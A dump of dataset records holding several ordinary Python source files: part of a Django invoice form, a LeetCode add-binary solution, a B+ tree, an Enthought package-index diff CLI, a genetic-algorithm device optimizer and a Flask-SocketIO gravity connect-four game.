datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d')\n\t\t\tif current > due_date:\n\t\t\t\traise ValidationError(\"Datetime should be in future\")\n\t\treturn due_date\n\n\tdef clean_hours(self):\n\t\t#import pdb; pdb.set_trace()\n\t\tinvoice_type = self.inv\n\t\thours = self.cleaned_data.get('hours')\n\t\tstart_time = self.cleaned_data.get('start_time')\n\t\tend_time = self.cleaned_data.get('end_time')\n\t\tif invoice_type == 'fixed':\n\t\t\tstart_time = self.cleaned_data.get('start_time')\n\t\t\tend_time = self.cleaned_data.get('end_time')\n\t\tif invoice_type == 'hourly':\n\t\t\tstart_time = self.data['start_time']\n\t\t\tend_time = self.data['end_time']\n\n\t\trate = self.cleaned_data.get('rate')\n\t\t\n\t\tif invoice_type == 'hourly':\n\t\t\tif hours:\n\t\t\t\tif start_time == '' or end_time == '':\t\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tstart_time = parse(start_time).time()\n\t\t\t\t\tend_time = parse(end_time).time()\n\t\t\t\tif start_time and end_time:\n\t\t\t\t\ttime_interval = datetime.datetime.combine(date.today(),end_time) - datetime.datetime.combine(date.today(),start_time)\n\t\t\t\t\ttime_interval = int(time_interval.seconds/3600)\n\t\t\t\t\tif str(time_interval) != str(hours):\n\t\t\t\t\t\traise ValidationError(\"hours should equal to the time interval between start_time and end_time\")\n\t\t\tif not hours:\n\t\t\t\traise ValidationError(\"you pick hourly - hours must have a value\")\n\t\treturn hours\n\n\tdef save(self, commit=True):\n\t\tinstance = super(InvoiceForm, self).save(commit=False)\n\t\t#import pdb; pdb.set_trace()\n\t\tinvoice_type = self.cleaned_data.get('invoice_type')\n\t\tamount = self.cleaned_data.get('amount')\n\t\thours = self.cleaned_data.get('hours')\n\t\tstart_time = self.cleaned_data.get('start_time')\n\t\tend_time = self.cleaned_data.get('end_time')\n\t\trate = self.cleaned_data.get('rate')\n\n\t\tif invoice_type == 'fixed':\n\t\t\tinstance.amount = amount\n\t\t\tinstance.hours = None\n\t\t\tinstance.start_time = None\n\t\t\tinstance.end_time = None\n\t\t\tinstance.rate = None\n\t\t\tinstance.total_amount = amount- instance.paid\n\t\telif invoice_type == 'hourly' :\n\t\t\tinstance.amount = None\n\t\t\tinstance.hours = hours\n\t\t\tinstance.rate = rate\n\t\t\tinstance.start_time = start_time\n\t\t\tinstance.end_time = end_time\n\t\t\tinstance.total_amount = (hours*rate)\n\t\tinstance.owner = self.user\n\t\tif commit:\n\t\t\tinstance.save()\n\t\treturn instance\n\n\nclass InvoiceEmailForm(Form):\n\tsubject = CharField(max_length=100, required=True)\n\ttext = CharField(max_length=255, required=True)\n\n\n\tclass Meta:\n\t\tfields = ('subject','text')\n\n\tdef clean_subject(self):\n\t\tsubject = self.cleaned_data['subject']\n\t\tif not subject:\n\t\t\traise ValidationError(\"This is required\")\n\t\treturn subject\n\n\tdef clean_text(self):\n\t\ttext = self.cleaned_data['text']\n\t\tif not text:\n\t\t\traise ValidationError(\"This is required\")\n\t\treturn text\n\n\n","sub_path":"invoices/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"117713249","text":"class Solution:\n    def addBinary(self, a: str, b: str) -> str:\n        n_a = len(a)\n        n_b = len(b)\n        long_s, short_s = (a,b) if n_a>=n_b else (b,a)\n        out = []\n        remain = 0\n        for i in range(-1,-len(short_s)-1,-1):\n            remain,val = divmod(remain+int(long_s[i])+int(short_s[i]),2)\n            out.append(str(val))\n        for i in range(-len(short_s)-1,-len(long_s)-1,-1):\n            remain,val = divmod(remain+int(long_s[i]),2)\n            out.append(str(val))\n        if remain==1:\n            out.append(str(1))\n        out.reverse()\n        return \"\".join(out)\n\n","sub_path":"Problem67_Add_Binary.py","file_name":"Problem67_Add_Binary.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"248216366","text":"\"\"\"Simple implementation of a B+ tree, a self-balancing tree data structure that (1) maintains sort\ndata order and (2) allows insertions and access in logarithmic time.\n\"\"\"\n\nclass Node(object):\n    \"\"\"Base node object.\n\n    Each node stores keys and values. Keys are not unique to each value, and as such values are\n    stored as a list under each key.\n\n    Attributes:\n        order (int): The maximum number of keys each node can hold.\n    \"\"\"\n    def __init__(self, order):\n        \"\"\"Child nodes can be converted into parent nodes by setting self.leaf = False. Parent nodes\n        simply act as a medium to traverse the tree.\"\"\"\n        self.order = order\n        self.keys = []\n        self.values = []\n        self.leaf = True\n\n    def add(self, key, value):\n        \"\"\"Adds a key-value pair to the node.\"\"\"\n        # If the node is empty, simply insert the key-value pair.\n        if not self.keys:\n            self.keys.append(key)\n            self.values.append([value])\n            return None\n\n        for i, item in enumerate(self.keys):\n            # If new key matches existing key, add to list of values.\n            if key == item:\n                self.values[i].append(value)\n                break\n\n            # If new key is smaller than existing key, insert new key to the left of existing key.\n            elif key < item:\n                self.keys = self.keys[:i] + [key] + self.keys[i:]\n                self.values = self.values[:i] + [[value]] + self.values[i:]\n                break\n\n            # If new key is larger than all existing keys, insert new key to the right of all\n            # existing keys.\n            elif i + 1 == len(self.keys):\n                self.keys.append(key)\n                self.values.append([value])\n\n    def split(self):\n        \"\"\"Splits the node into two and stores them as child nodes.\"\"\"\n        left = Node(self.order)\n        right = Node(self.order)\n        mid = self.order // 2\n\n        left.keys = self.keys[:mid]\n        left.values = self.values[:mid]\n\n        right.keys = self.keys[mid:]\n        right.values = self.values[mid:]\n\n        # When the node is split, set the parent key to the left-most key of the right child node.\n        self.keys = [right.keys[0]]\n        self.values = [left, right]\n        self.leaf = False\n\n    def is_full(self):\n        \"\"\"Returns True if the node is full.\"\"\"\n        return len(self.keys) == self.order\n\n    def show(self, counter=0):\n        \"\"\"Prints the keys at each level.\"\"\"\n        print(counter, str(self.keys))\n\n        # Recursively print the key of child nodes (if these exist).\n        if not self.leaf:\n            for item in self.values:\n                item.show(counter + 1)\n\nclass BPlusTree(object):\n    \"\"\"B+ tree object, consisting of nodes.\n\n    Nodes will automatically be split into two once it is full. When a split occurs, a key will\n    'float' upwards and be inserted into the parent node to act as a pivot.\n\n    Attributes:\n        order (int): The maximum number of keys each node can hold.\n    \"\"\"\n    def __init__(self, order=8):\n        self.root = Node(order)\n\n    def _find(self, node, key):\n        \"\"\" For a given node and key, returns the index where the key should be inserted and the\n        list of values at that index.\"\"\"\n        for i, item in enumerate(node.keys):\n            if key < item:\n                return node.values[i], i\n\n        return node.values[i + 1], i + 1\n\n    def _merge(self, parent, child, index):\n        \"\"\"For a parent and child node, extract a pivot from the child to be inserted into the keys\n        of the parent. Insert the values from the child into the values of the parent.\n        \"\"\"\n        parent.values.pop(index)\n        pivot = child.keys[0]\n\n        for i, item in enumerate(parent.keys):\n            if pivot < item:\n                parent.keys = parent.keys[:i] + [pivot] + parent.keys[i:]\n                parent.values = parent.values[:i] + child.values + parent.values[i:]\n                break\n\n            elif i + 1 == len(parent.keys):\n                parent.keys += [pivot]\n                parent.values += child.values\n                break\n\n    def insert(self, key, value):\n        \"\"\"Inserts a key-value pair after traversing to a leaf node. If the leaf node is full, split\n        the leaf node into two.\n        \"\"\"\n        parent = None\n        child = self.root\n\n        # Traverse tree until leaf node is reached.\n        while not child.leaf:\n            parent = child\n            child, index = self._find(child, key)\n\n        child.add(key, value)\n\n        # If the leaf node is full, split the leaf node into two.\n        if child.is_full():\n            child.split()\n\n            # Once a leaf node is split, it consists of a internal node and two leaf nodes. These\n            # need to be re-inserted back into the tree.\n            if parent and not parent.is_full():\n                self._merge(parent, child, index)\n\n    def retrieve(self, key):\n        \"\"\"Returns a value for a given key, and None if the key does not exist.\"\"\"\n        child = self.root\n\n        while not child.leaf:\n            child, index = self._find(child, key)\n\n        for i, item in enumerate(child.keys):\n            if key == item:\n                return child.values[i]\n\n        return None\n\n    def show(self):\n        \"\"\"Prints the keys at each level.\"\"\"\n        self.root.show()\n\ndef demo_node():\n    print('Initializing node...')\n    node = Node(order=4)\n\n    print('\\nInserting key a...')\n    node.add('a', 'alpha')\n    print('Is node full?', node.is_full())\n    node.show()\n\n    print('\\nInserting keys b, c, d...')\n    node.add('b', 'bravo')\n    node.add('c', 'charlie')\n    node.add('d', 'delta')\n    print('Is node full?', node.is_full())\n    node.show()\n\n    print('\\nSplitting node...')\n    node.split()\n    node.show()\n\ndef demo_bplustree():\n    print('Initializing B+ tree...')\n    bplustree = BPlusTree(order=4)\n\n    print('\\nB+ tree with 1 item...')\n    bplustree.insert('a', 'alpha')\n    bplustree.show()\n\n    print('\\nB+ tree with 2 items...')\n    bplustree.insert('b', 'bravo')\n    bplustree.show()\n\n    print('\\nB+ tree with 3 items...')\n    bplustree.insert('c', 'charlie')\n    bplustree.show()\n\n    print('\\nB+ tree with 4 items...')\n    bplustree.insert('d', 'delta')\n    bplustree.show()\n\n    print('\\nB+ tree with 5 items...')\n    bplustree.insert('e', 'echo')\n    bplustree.show()\n\n    print('\\nB+ tree with 6 items...')\n    bplustree.insert('f', 'foxtrot')\n    bplustree.show()\n\n    print('\\nRetrieving values with key e...')\n    print(bplustree.retrieve('e'))\n\nif __name__ == '__main__':\n    demo_node()\n    print('\\n')\n    demo_bplustree()","sub_path":"ADSAA/SelfPrintableBplusTree.py","file_name":"SelfPrintableBplusTree.py","file_ext":"py","file_size_in_byte":6672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"20866743","text":"# (C) Copyright 2018 Enthought, Inc., Austin, TX\n# All rights reserved.\n#\n\"\"\"\nBrood-diff is a CLI for calculating the diff between two given brood indices.\n\nThis is useful when determining what is required to sync a customer's\nair-gapped brood instance with the Enthought brood, and is a replacement to\nthe old method of requiring an entire hatcher export of the Enthought brood.\n\nUsage:\n    Get Index:\n    Use this function to generate the json representation of a brood index\n\n    python diff.py get-index -u \n                                   -r \n                                   -p \n                                   -v \n                                   -o \n\n    Index Diff:\n    Use this function to calculate the difference between two brood indices.\n    python diff.py gen-diff -l \n                            -r \n                            -o \n\n\"\"\"\nimport json\nimport sys\nfrom typing import Iterable, NoReturn, Tuple, Union\n\nimport click\nimport requests\n\nfrom brood_diff import valid\n\n\nINDEX_ROUTE = \"api/v1/json/indices\"\nLEGACY_INDEX_ROUTE = \"api/v0/json/indices\"\n\n\n@click.group()\ndef cli():\n    \"\"\" Brood diff is a CLI tool for calculating the difference between\n    two different EDS indices.\n    \"\"\"\n    pass\n\n\n# CLI wrappers #\n\n\n@cli.command(name=\"get-index\")\n@click.option('--url', '-u', type=str,\n              help=\" Must include http or https as needed\")\n@click.option('--repository', '-r', type=str, callback=valid.validate_org_repo,\n              help=(\" Must be in EDS/Hatcher format: `org/repo`\"\n                    \"\\ne.g. enthought/free\"))\n@click.option('--platform', '-p', type=str, callback=valid.validate_platform,\n              help=\" See list-platforms for supported platforms\")\n@click.option('--version', '-v', type=str, callback=valid.validate_version,\n              help=(\" See list-versions for \"\n                    \"supported python version tags\"))\n@click.option('--output', '-o', type=str,\n              help=\" Full path to output json file\")\n@click.option('--sort/--no-sort', default=True,\n              help=(\"Set whether the output should be sorted.\"\n                    \"\\nDefault: --sort\"))\n@click.option('--legacy/--no-legacy', default=False,\n              help=(\"Use --legacy for the legacy v0 api version. Note, this \"\n                    \"should be used only in special circumstances.\"\n                    \"\\nDefault: --no-legacy\"))\ndef cli_get_index(url, repository, platform, version, output, sort, legacy):\n    \"\"\" Get index for a given repo/platform/python-tag from EDS instance\n    located at url specified by -u/--url and write output to file\n    specified by -o/--output.\"\"\"\n\n    org, repo = repository.split(\"/\")\n\n    idx = get_index(url,\n                    org,\n                    repo,\n                    platform,\n                    version,\n                    legacy)\n    click.echo(\"Writing output to json sort={} ...\".format(sort))\n    to_json_file(idx, output, sort=sort)\n\n\n@cli.command(name='full-index')\n@click.option('--url', '-u', type=str,\n              help=\" Must include http or https as needed\")\n@click.option('--repository', '-r', multiple=True, type=str,\n              callback=valid.validate_org_repos,\n              help=(\" Must be in EDS/Hatcher format: `org/repo`\"\n                    \"\\ne.g. enthought/free\"))\n@click.option('--platform', '-p', multiple=True, type=str,\n              callback=valid.validate_platforms,\n              help=\" See list-platforms for supported platforms\")\n@click.option('--version', '-v', multiple=True, type=str,\n              callback=valid.validate_versions,\n              help=(\" See list-versions for \"\n                    \"supported python version tags\"))\n@click.option('--output', '-o', type=str,\n              help=\" Full path to output json file\")\n@click.option('--sort/--no-sort', default=True,\n              help=(\"Set whether the output should be sorted.\"\n                    \"\\nDefault: --sort\"))\n@click.option('--legacy/--no-legacy', default=False,\n              help=(\"Use --legacy for the legacy v0 api version. Note, this \"\n                    \"should be used only in special circumstances.\"\n                    \"\\nDefault: --no-legacy\"))\ndef cli_get_full_index(url, repository, platform, version, output, sort,\n                       legacy):\n    \"\"\" Get full json representation of multiple EDS indices from an EDS\n    instance specified by -u/--url for potentially multiple platforms,\n    repositories, and python versions, and output the full index as a single\n    json file specified by -o/--output.\"\"\"\n\n    gen_full_index(url,\n                   repository,\n                   platform,\n                   version,\n                   output,\n                   sort,\n                   legacy)\n\n\n@cli.command(name=\"gen-diff\")\n@click.option('--local', '-l', type=str,\n              help=\" Full path to json file for local index\")\n@click.option('--remote', '-r', type=str,\n              help=\" Full path to json file for remote index\")\n@click.option('--output', '-o', type=str,\n              help=\" Full path to output json file\")\ndef cli_gen_diff(local, remote, output):\n    \"\"\" Calculate the difference between two EDS indices and output the\n    result as a json file.\n\n    Note, the terminology used is from the perspective of the EDS end-user.\n\n    Thus the local index represents the index you wish to compare to the\n    remote (Enthought) index.\n\n    Example Use Case:\n\n    End-user runs get-index on their local EDS to generate the index of\n    their enthought/free repo as a json file: local.json.\n\n    Next, run the same command against the Brood production server to generate\n    the index of our enthought/free repo as a json file: remote.json.\n\n    Finally run python diff.py gen-diff -l local.json -r remote.json -o\n    output_file.json\n    \"\"\"\n    local_index = from_json_file(local)\n    remote_index = from_json_file(remote)\n    diff = index_diff(local_index, remote_index)\n    to_json_file(diff, output)\n\n\n@cli.command(name=\"full-diff\")\n@click.option('--local', '-l', type=str,\n              help=\" Full path to json file for local index\")\n@click.option('--repository', '-r', multiple=True, type=str,\n              callback=valid.validate_org_repos,\n              help=(\" Must be in EDS/Hatcher format: `org/repo`\"\n                    \"\\ne.g. enthought/free\"))\n@click.option('--platform', '-p', multiple=True, type=str,\n              callback=valid.validate_platforms,\n              help=\" See list-platforms for supported platforms\")\n@click.option('--version', '-v', multiple=True, type=str,\n              callback=valid.validate_versions,\n              help=(\" See list-versions for \"\n                    \"supported python version tags\"))\n@click.option('--output', '-o', type=str,\n              help=\" Full path to output json file\")\n@click.option('--sort/--no-sort', default=True,\n              help=(\"Set whether the output should be sorted.\"\n                    \"\\nDefault: --sort\"))\n@click.option('--legacy/--no-legacy', default=False,\n              help=(\"Use --legacy for the legacy v0 api version. Note, this \"\n                    \"should be used only in special circumstances.\"\n                    \"\\nDefault: --no-legacy\"))\ndef cli_full_diff(local, repository, platform,\n                  version, output, sort, legacy=False):\n    \"\"\" Given a local index son file, calculate the difference between that\n    index and the Enthought production EDS repos specified by the repo,\n    platform, and version options.\n\n    The output is a single json file containing the missing packages.\n    \"\"\"\n    full_diff(local,\n              repository,\n              platform,\n              version,\n              output,\n              sort,\n              legacy)\n\n\n@cli.command(name=\"list-platforms\")\ndef list_platforms():\n    \"\"\" List valid input for platform option.\"\"\"\n    click.echo(\"Valid Platforms:\")\n    for plat in sorted(valid.PLATS):\n        click.echo(plat)\n\n\n@cli.command(name=\"list-versions\")\ndef list_versions():\n    \"\"\" List valid input for version option.\"\"\"\n    click.echo(\"Valid Python Version tags:\")\n    for ver in sorted(valid.VERS):\n        click.echo(ver)\n\n\n# tested functions #\n\n\ndef get_index(url: str, org: str, repo: str, plat: str, pyver: str,\n              legacy: bool = False) -> Union[dict, NoReturn]:\n    \"\"\" Fetch index for a given repo/platform/python-tag.\"\"\"\n    if legacy:\n        resource = \"/\".join((url, LEGACY_INDEX_ROUTE,\n                             org, repo, plat, pyver, \"eggs\"))\n    else:\n        resource = \"/\".join((url, INDEX_ROUTE, org, repo, plat, pyver, \"eggs\"))\n    print(\"Requesting {} ...\".format(resource))\n    r = requests.get(resource)\n    if r.status_code == 200:\n        return r.json()\n    elif r.status_code in (400, 404):\n        # incorrect base url raises ConnectionError and plat and ver get\n        # validated via CLI - thus 404 likely indicates problem with org/repo.\n        print(\"HTTP 404 Error: Please double check your Repository settings.\")\n        print(\"Repository must be a valid org/repo combination.\")\n        r.raise_for_status()\n        sys.exit()\n    elif r.status_code in (500, 502, 503, 504):  # Brood internal errors\n        msg = \"HTTP 50* Error: Please verify that the EDS instance is up at {}\"\n        print(msg.format(url))\n        r.raise_for_status()\n        sys.exit()\n\n\ndef gen_full_index(url: str, org_repos: Tuple[str], plats: Tuple[str],\n                   pyvers: Tuple[str], output: str, sort: bool = True,\n                   legacy: bool = False) -> None:\n    \"\"\" Given a set of org/repo, platforms, and versions, generate a single\n    json file containing the entirety of the index representing these repos.\n\n    The most common usecase would be to collect the full index of the\n    end-user's enthought/free + enthought/gpl and potentially also\n    enthought/lgpl repos.\n    \"\"\"\n    full_index = {}\n    for org_repo in org_repos:\n        org, repo = org_repo.split(\"/\")\n        for plat in plats:\n            for ver in pyvers:\n                full_index.update(get_index(url,\n                                            org,\n                                            repo,\n                                            plat,\n                                            ver,\n                                            legacy))\n    to_json_file(full_index, output, sort=sort)\n\n\ndef index_diff(local_index: dict, remote_index: dict) -> dict:\n    \"\"\" Calculate the difference between two json brood indices.\n    Adapted from brood/brood/sync/egg_sync.py\n\n    Remove calculations for eggs to delete:\n    Unless user specifically requests that we remove unused or outdated eggs\n    we should make minimal changes to their local EDS instance.\n\n    Likewise, remove calculations for eggs to move\n    \"\"\"\n    local_index_set = set(local_index)\n    remote_index_set = set(remote_index)\n\n    missing_egg_names = remote_index_set - local_index_set\n    missing_egg_index = {key: remote_index[key]\n                         for key in missing_egg_names}\n\n    return {\"missing\": missing_egg_index}\n\n\ndef full_diff(local_idx_json: str, org_repos: Tuple[str],\n              plats: Tuple[str], vers: Tuple[str],\n              output: str,\n              sort: bool = True,\n              legacy: bool = False,\n              remote_url: str = \"https://packages.enthought.com\"):\n    \"\"\" Given set of org/repo/plat/ver, a local index file and remote EDS host,\n    calculate the full index diff and write to json file specified by the\n    parameter, output.\n\n    remote_url is left as an internally available parameter but not exposed\n    via the cli - in general we will target the enthought production url.\n    \"\"\"\n    local_idx = from_json_file(local_idx_json)\n    remote_idx = {}\n    for org_repo in org_repos:\n        for plat in plats:\n            for ver in vers:\n                org, repo = org_repo.split(\"/\")\n                remote_idx.update(get_index(remote_url,\n                                            org,\n                                            repo,\n                                            plat,\n                                            ver,\n                                            legacy))\n    diff = index_diff(local_idx, remote_idx)\n    to_json_file(diff, output, sort=sort)\n\n\ndef to_json_file(idx: dict, path: str, sort: bool = False) -> None:\n    \"\"\" Write index to file as json.\"\"\"\n    with open(path, 'w') as f:\n        json.dump(idx, f, sort_keys=sort)\n\n\ndef from_json_file(path: str) -> dict:\n    \"\"\" Read index from json file.\"\"\"\n    with open(path, 'r') as f:\n        return json.loads(f.read())\n\n\ndef merge_json(input_paths: Iterable[str], output) -> None:\n    \"\"\" Given list of paths to json indices, merge into one json file.\"\"\"\n    index = {}\n    for path in input_paths:\n        index.update(from_json_file(path))\n    to_json_file(index, output, sort=True)\n\n\nif __name__ == '__main__':\n    cli()\n","sub_path":"brood_diff/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":13169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"72993150","text":"#!/usr/bin/env python\n\n\nfrom qmt.system import Structure\nfrom qmt.generator import Generator\nfrom qmt.ga import GA\nfrom qmt.serializer import Serializer\nfrom qmt.parser import Parser\nfrom qmt.timer import Timer\nfrom qmt.parser import Parser\n\nimport numpy as np\nimport os\n\nimport multiprocessing\nfrom pathos.multiprocessing import ProcessingPool as Pool\n\nimport coloredlogs, verboselogs\nimport copy\nimport matplotlib.pyplot as plt\nimport pickle\n\n# create logger\ncoloredlogs.install(level='INFO')\n\nlogger = verboselogs.VerboseLogger('qmt::runner ')\n\n# def threadedCall(structure, lead0, lead1):\n#     return structure.getCurrent(lead0, lead1, avg_chem_pot=2.7)\n\ndef getConductances(structure, lead0, lead1):\n    return structure.getValleyPolarizedCurrent(lead0, lead1)\n\ndef getNewStructure(parser, identifier):\n    return Structure(parser, identifier, [[identifier]])\n\ndef objectiveFunction(currents_0_1):\n    vectors = []\n    for v1 in currents_0_1:\n        vectors.append((np.abs((v1[1]) / (v1[0] + v1[1])), (np.abs((v1[0] + v1[1]) / v1[0]))))\n\n    data = np.array(vectors).reshape(len(vectors), 2)\n\n    return data\n\ndef main():\n    total_timer = Timer()\n    iteration_timer = Timer()\n    short_timer = Timer()\n    total_timer.start()\n\n    logger.success(' --- Welcome to the Kwantum Transmission Device Optimizer --- ')\n\n    parser = Parser()\n    pool = Pool(nodes=parser.config['n_cpus'])\n    logger.info('Running calculations with ' + str(parser.config['n_cpus']) + ' workers.')\n    \n    serializer = Serializer(parser)\n    ga = serializer.deserialize()\n    if ga is not None:\n        # continue from before\n        ga.resetParser(parser)\n        logger.success('Successfully loaded previous GA. Will continue previous calculation.')\n    else:\n        logger.info('GA starting from scratch.')\n        logger.info('Generating initial structures...')\n        short_timer.start()\n\n        \n        ga = GA(parser, objective_function=objectiveFunction)\n        structures = ga.generator.generateAll(pool=pool, seeds=np.random.randint(0, 2**32 - 1, parser.config['GA']['n_structures']))\n        ga.setNextGeneration(structures)\n        logger.success('Initial structures generated. Elapsed time: %s' % (short_timer.stop()))\n\n    #########################\n    # main loop here\n    #########################\n\n\n    while ga.generationNumber() < parser.getNIterations():\n\n        short_timer.start()\n        iteration_timer.start()\n        # print info about the upcoming calculation\n        ga.summarizeGeneration()\n\n        # get the structures we are going to run calculations on\n        structures = ga.getCurrentGeneration()\n\n        # plot the systems and save image to disk\n\n        try:\n            os.mkdir('output/gen_' + str(ga.generationNumber()).zfill(3))\n        except FileExistsError:\n            pass\n\n        for i, s in enumerate(structures):\n            s.visualizeSystem(args={'dpi': 600, 'file': 'output/' + 'gen_' + str(ga.generationNumber()).zfill(3) + '/gen_%03i_struct_%03i.png' % (ga.generationNumber(), i)})\n\n        # calculate currents and write them out to disk\n        currents_0_1 = pool.map(getConductances, structures, [0] * len(structures), [1] * len(structures))\n        \n        with open('output/currents_gen_' + str(ga.generationNumber()).zfill(3) + '.dat', 'w') as cf:\n            cf.write('# Currents (lead1-k\\', lead1-k)\\n')\n            for cs1 in currents_0_1:\n                cf.write('%0.20e\\t%0.20e\\n' % (cs1[0], cs1[1]))\n\n        # calculate the objective function\n        ga.calculate([currents_0_1])\n\n        structures = ga.rankGenerationWithSquare()\n        # for s, objs in zip(structures, ga.current_objectives):\n        #     print(s.identifier, objs)\n        logger.success('Calculations finished. Elapsed time: %s' % (short_timer.stop()))\n        # write gene variables and objective function parameters to file\n        ga.writePhaseSpace(structures)\n\n        ga.serializeStructures()\n\n\n        short_timer.start()\n        subset_limit = parser.config['GA']['random-step']['keep-best']\n        structures_subset = structures[:subset_limit]\n        new_structures = []\n        for i in range(len(structures) - subset_limit):\n            index = np.random.randint(subset_limit)\n            new_structures.append(structures_subset[index])\n        \n        # mutate the current generation\n        structures_modified = ga.generator.mutateAll(new_structures, pool=pool, seeds=np.random.randint(0, 2**32 - 1, len(new_structures)))\n\n        structures = structures_subset + structures_modified\n\n        ga.setNextGeneration(structures)\n        logger.success('Structures have been updated. Elapsed time: %s' % (short_timer.stop()))\n        # print how long it took and serialize the current GA\n        short_timer.start()\n        serializer.serialize(ga)\n        pickle.dump(ga.history, open('output/history.pkl', 'wb'))\n        logger.success('Generation %i completed. Elapsed time: %s' % (ga.generationNumber(), iteration_timer.stop()))\n\n    logger.success(' --- Elapsed time: %s ---' % (total_timer.stop()))\n\nif __name__ == '__main__':\n    main()\n","sub_path":"optimizeValleyFilter2LeadNanoribbon.py","file_name":"optimizeValleyFilter2LeadNanoribbon.py","file_ext":"py","file_size_in_byte":5094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"347837366","text":"from flask import Flask, render_template, session, redirect, request, copy_current_request_context, url_for\nfrom flask_socketio import SocketIO, emit, join_room, rooms, disconnect\nasync_mode = None\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app, async_mode=async_mode)\n\nusercount = 0\n\nboard = [\n    [0,0,0,0,0,0,0],\n    [0,0,0,0,0,0,0],\n    [0,0,0,0,0,0,0],\n    [0,0,0,0,0,0,0],\n    [0,0,0,0,0,0,0],\n    [0,0,0,0,0,0,0],\n    [0,0,0,0,0,0,0]\n]\n\n\n\nflag = 1\n\nimport random\ndef getRandGravity():\n    tmp = random.randint(0,3)\n    res = ''\n    if tmp == 0: res = 'N'\n    elif tmp == 1: res = 'S'\n    elif tmp == 2: res = 'W'\n    elif tmp == 3: res = 'E'\n\n    return res\n\ndef appplyGravity(board, gravityD):\n    if gravityD == 'W':\n        newBoard = [[0 for col in range(7)] for row in range(7)]\n        for i in range(0,7):\n            flag = 0\n            k = 0\n            for j in range(0, 7):\n                if board[i][j] != 0:\n                    flag = j\n                    break\n            for j in range(flag, 7):\n                newBoard[i][k] = board[i][j]\n                k += 1\n        return newBoard\n    if gravityD == 'E':\n        newBoard = [[0 for col in range(7)] for row in range(7)]\n        for i in range(0,7):\n            flag = 0\n            k = 6\n            for j in range(6, -1, -1):\n                if board[i][j] != 0:\n                    flag = j\n                    break\n            for j in range(flag, -1, -1):\n                newBoard[i][k] = board[i][j]\n                k -= 1\n        return newBoard\n    if gravityD == 'N':\n        newBoard = [[0 for col in range(7)] for row in range(7)]\n        for i in range(0,7):\n            flag = 0\n            k = 0\n            for j in range(0, 7):\n                if board[j][i] != 0:\n                    flag = j\n                    break\n            for j in range(flag, 7):\n                newBoard[k][i] = board[j][i]\n                k += 1\n        return newBoard\n    if gravityD == 'S':\n        newBoard = [[0 for col in range(7)] for row in range(7)]\n        for i in range(0,7):\n            flag = 0\n            k = 6\n            for j in range(6, -1, -1):\n                if board[j][i] != 0:\n                    flag = j\n                    break\n            for j in range(flag, -1, -1):\n                newBoard[k][i] = board[j][i]\n                k -= 1\n        return newBoard\n\ndef checkGameStatus(board):\n    flag = 0\n    # 가로세로 판정\n    for i in range(7):\n        for j in range(4):\n            if board[i][j] == board[i][j+1] and board[i][j] == board[i][j+2] and board[i][j] == board[i][j+3] and board[i][j] != 0:\n                flag = board[i][j]\n            if board[j][i] == board[j+1][i] and board[j][i] == board[j+2][i] and board[j][i] == board[j+3][i] and board[j][i] != 0:\n                flag = board[i][j]\n\n    # 우 하향 대각선 판정\n    for i in range(4):\n        for j in range(4):\n            if board[i][j] == board[i+1][j+1] and board[i][j] == board[i+2][j+2] and board[i][j] == board[i+3][j+3] and board[i][j] != 0:\n                flag = board[i][j]\n\n    # 좌 하향 대각선 판정\n    for i in range(0,4):\n        for j in range(3,7):\n            if board[i][j] == board[i+1][j-1] and board[i][j] == board[i+2][j-2] and board[i][j] == board[i+3][j-3] and board[i][j] != 0:\n                flag = board[i][j]\n\n    return flag\n\ngravity = getRandGravity()\n\n@app.before_request\ndef before_request():\n    if usercount == 2:\n        pass\n        #return \"X\"\n    \n@app.route('/')\ndef index():\n    return render_template('index.htm')\n\n@app.route('/close')\ndef close():\n    return redirect(url_for('close.htm'))\n\n@socketio.on('my_event', namespace='/test')\ndef test_message(message):\n    emit('my_response', {'data': message['data'], 'board': board, 'gravity': gravity})\n\n@socketio.on('join', namespace='/test')\ndef join(message):\n    join_room(message['room'])\n    emit('my_response', {'data': 'In rooms: '.join(rooms())})\n\n@socketio.on('my_room_event', namespace='/test')\ndef send_room_message(message):\n    global flag\n    if flag == 1: flag = 2\n    else: flag = 1   \n    data = message['data']\n    gravity = getRandGravity()\n    data = appplyGravity(data, gravity)\n    emit('my_response', {'data': message['data'], 'board': data, 'gravity': gravity, 'flag':flag}, room=message['room'])\n    \n@socketio.on('disconnect_request', namespace='/test')\ndef disconnect_request():\n    @copy_current_request_context\n    def can_disconnect():\n        disconnect()\n    emit('my_response', {'data': 'Disconnected!'}, callback=can_disconnect)\n\n@socketio.on('connect', namespace='/test')\ndef test_connect():\n    global usercount\n    print(usercount)\n    if usercount == 0 or usercount == 1:\n        emit('my_response', {'data': 'Connected', 'count': 0})\n        usercount += 1\n       \n    elif usercount == 2:\n        return \"X\"\n\n@socketio.on('disconnect', namespace='/test')\ndef test_disconnect():\n    global usercount\n    usercount -= 1\n    print('Client disconnected', request.sid)\n\nif __name__ == '__main__':\n    socketio.run(app)","sub_path":"back-end/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
